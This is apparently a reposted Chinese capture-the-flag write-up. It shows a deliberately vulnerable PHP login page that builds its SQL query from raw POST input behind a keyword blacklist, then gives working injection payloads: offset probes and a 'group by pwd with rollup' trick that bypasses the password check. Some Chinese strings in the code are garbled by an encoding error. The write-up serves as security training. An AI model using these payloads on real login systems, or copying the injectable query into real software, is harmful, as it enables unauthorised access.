<?php error_reporting(0); if (!isset($_POST[‘uname‘]) || !isset($_POST[‘pwd‘])) { echo ‘<form action="" method="post">‘."<br/>"; echo ‘<input name="uname" type="text"/>‘."<br/>"; echo ‘<input name="pwd" type="text"/>‘."<br/>"; echo ‘<input type="submit" />‘."<br/>"; echo ‘</form>‘."<br/>"; echo ‘<!--source: source.txt-->‘."<br/>"; die; } function AttackFilter($StrKey,$StrValue,$ArrReq){ if (is_array($StrValue)){ $StrValue=implode($StrValue); } if (preg_match("/".$ArrReq."/is",$StrValue)==1){ print "姘村彲杞借垷锛屼害鍙禌鑹囷紒"; exit(); } } $filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)"; foreach($_POST as $key=>$value){ AttackFilter($key,$value,$filter); } $con = mysql_connect("XXXXXX","XXXXXX","XXXXXX"); if (!$con){ die(‘Could not connect: ‘ . mysql_error()); } $db="XXXXXX"; mysql_select_db($db, $con); $sql="SELECT * FROM interest WHERE uname = ‘{$_POST[‘uname‘]}‘"; $query = mysql_query($sql); if (mysql_num_rows($query) == 1) { $key = mysql_fetch_array($query); if($key[‘pwd‘] == $_POST[‘pwd‘]) { print "CTF{XXXXXX}"; }else{ print "浜﹀彲璧涜墖锛?"; } }else{ print "涓€棰楄禌鑹囷紒"; } mysql_close($con); ?>
1,过滤了上述关键字
2,数据库影响力为1
3,通过第三个if
  确定一下当前用户人数,由于第一个过滤了,所以使用limit 1 offset 1来判断人数
    ’ or 1=1 limit 1 offset 0#    返回!(一个人)偏移量从0开始
    ’or 1=1 limit 1 offset 1#    返回!(两个人)//offset表示偏移
    ’ or 1=1 limit 1 offset 2#    返回!
    
第三个输入的密码和数据库的密码要相同
    这里可以用这个语句group by pwd with rollup(分组后会在多一行统计)
    由于对字符串统计无效第三行的pwd结果是NULL这样就可以通过
    由于使用了with rollup后会多出一条,所以offset 2 可以正确返回NULL
第四个:
大概的意思就是在GROUP BY子句中使用WITH ROLLUP会在数据库中加入一行用来计算总数,ROLLUP子句的更加详细的用法,可以参考mysql的官方文档,此处就不多做赘述了。再结合limit和offset就可以写出
`` 即:输入的用户名为:‘ or 1=1 group by pwd with rollup limit 1 offset 2 #
密码为空。
这里解释一下此时执行的SQL:
SELECT * FROM interest where uname=‘ ‘ or 1=1 
group by pwd with rollup  (在数据库中添加一行使得pwd=NULL)
limit 1 (只查询一行)
offset 2  (从第二行开始查询)
#注释
此时密码只要为空即可查询成功

原文:http://www.cnblogs.com/liuyimin/p/7667476.html